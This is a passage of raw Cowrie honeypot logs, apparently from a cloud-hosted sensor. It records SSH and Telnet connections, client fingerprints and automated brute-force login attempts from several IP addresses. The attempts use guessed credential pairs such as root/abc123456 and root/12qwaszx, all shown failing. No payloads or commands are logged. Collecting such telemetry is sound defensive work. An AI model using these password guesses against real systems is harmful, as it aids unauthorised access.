sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:31.960444Z","src_ip":"23.249.28.115","session":"3b910dd326f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60322,"dst_ip":"159.203.135.109","dst_port":22,"session":"ded4155596a9","protocol":"ssh","message":"New connection: 176.65.132.129:60322 (159.203.135.109:22) [session: ded4155596a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:31.968785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:31.973053Z","src_ip":"176.65.132.129","session":"ded4155596a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:32.054871Z","src_ip":"176.65.132.129","session":"ded4155596a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456789","message":"login attempt [debian/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:32.300825Z","src_ip":"176.65.132.129","session":"ded4155596a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59844,"dst_ip":"10.17.0.5","dst_port":23,"session":"26d9a16f9b9e","protocol":"telnet","message":"New connection: 152.42.224.71:59844 (10.17.0.5:23) [session: 26d9a16f9b9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:32.592972Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"orca","message":"login attempt [root/orca] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:32.758826Z","src_ip":"23.249.28.115","session":"3b910dd326f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:33.392591Z","src_ip":"176.65.132.129","session":"ded4155596a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00130105018616,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:33.765189Z","src_ip":"152.42.224.71","session":"125880558465","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:33.954015Z","src_ip":"23.249.28.115","session":"3b910dd326f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60332,"dst_ip":"159.203.135.109","dst_port":22,"session":"c74b389edeb6","protocol":"ssh","message":"New connection: 176.65.132.129:60332 (159.203.135.109:22) [session: c74b389edeb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:35.122882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:35.129789Z","src_ip":"176.65.132.129","session":"c74b389edeb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:35.212928Z","src_ip":"176.65.132.129","session":"c74b389edeb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456","message":"login attempt [root/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:35.460522Z","src_ip":"176.65.132.129","session":"c74b389edeb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:36.544633Z","src_ip":"176.65.132.129","session":"c74b389edeb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.33647346496582,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:38.162269Z","src_ip":"152.42.224.71","session":"3040bbdb0f89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53616,"dst_ip":"159.203.135.109","dst_port":22,"session":"aaf2f34bc5d1","protocol":"ssh","message":"New connection: 176.65.132.129:53616 (159.203.135.109:22) [session: aaf2f34bc5d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:38.441009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:38.445971Z","src_ip":"176.65.132.129","session":"aaf2f34bc5d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:38.533639Z","src_ip":"176.65.132.129","session":"aaf2f34bc5d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dj","password":"dj","message":"login attempt [dj/dj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:38.937571Z","src_ip":"176.65.132.129","session":"aaf2f34bc5d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":50352,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef203f254f4b","protocol":"ssh","message":"New connection: 103.173.227.57:50352 (10.17.0.5:22) [session: ef203f254f4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:39.122515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:39.127358Z","src_ip":"103.173.227.57","session":"ef203f254f4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:39.368492Z","src_ip":"103.173.227.57","session":"ef203f254f4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:40.022051Z","src_ip":"176.65.132.129","session":"aaf2f34bc5d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.32.240.31","src_port":41870,"dst_ip":"159.203.135.109","dst_port":22,"session":"4bb9e2d24cdd","protocol":"ssh","message":"New connection: 101.32.240.31:41870 (159.203.135.109:22) [session: 4bb9e2d24cdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:40.035092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:40.044054Z","src_ip":"101.32.240.31","session":"4bb9e2d24cdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"artem1","message":"login attempt [root/artem1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:40.109109Z","src_ip":"103.173.227.57","session":"ef203f254f4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:40.283861Z","src_ip":"101.32.240.31","session":"4bb9e2d24cdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"braves","message":"login attempt [root/braves] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:41.266268Z","src_ip":"101.32.240.31","session":"4bb9e2d24cdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:41.353418Z","src_ip":"103.173.227.57","session":"ef203f254f4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41794,"dst_ip":"10.17.0.5","dst_port":23,"session":"db244c9aac22","protocol":"telnet","message":"New connection: 152.42.224.71:41794 (10.17.0.5:23) [session: db244c9aac22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:41.545282Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53618,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1bcc4123863","protocol":"ssh","message":"New connection: 176.65.132.129:53618 (159.203.135.109:22) [session: b1bcc4123863]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:41.892027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:41.896667Z","src_ip":"176.65.132.129","session":"b1bcc4123863","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:41.978653Z","src_ip":"176.65.132.129","session":"b1bcc4123863","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12qwaszx","message":"login attempt [root/12qwaszx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:42.225630Z","src_ip":"176.65.132.129","session":"b1bcc4123863","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:42.507994Z","src_ip":"101.32.240.31","session":"4bb9e2d24cdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:43.330948Z","src_ip":"176.65.132.129","session":"b1bcc4123863","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":38872,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7f24b5f260e","protocol":"ssh","message":"New connection: 186.13.24.118:38872 (10.17.0.5:22) [session: f7f24b5f260e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:44.643170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:44.647664Z","src_ip":"186.13.24.118","session":"f7f24b5f260e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.135.168.228","src_port":33709,"dst_ip":"159.203.135.109","dst_port":22,"session":"16ad965e3fe4","protocol":"ssh","message":"New connection: 213.135.168.228:33709 (159.203.135.109:22) [session: 16ad965e3fe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:44.709202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:44.714207Z","src_ip":"213.135.168.228","session":"16ad965e3fe4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:44.816983Z","src_ip":"186.13.24.118","session":"f7f24b5f260e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:44.854729Z","src_ip":"213.135.168.228","session":"16ad965e3fe4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53626,"dst_ip":"159.203.135.109","dst_port":22,"session":"43874923e7a9","protocol":"ssh","message":"New connection: 176.65.132.129:53626 (159.203.135.109:22) [session: 43874923e7a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:45.076051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:45.082814Z","src_ip":"176.65.132.129","session":"43874923e7a9","protocol":"ssh"}
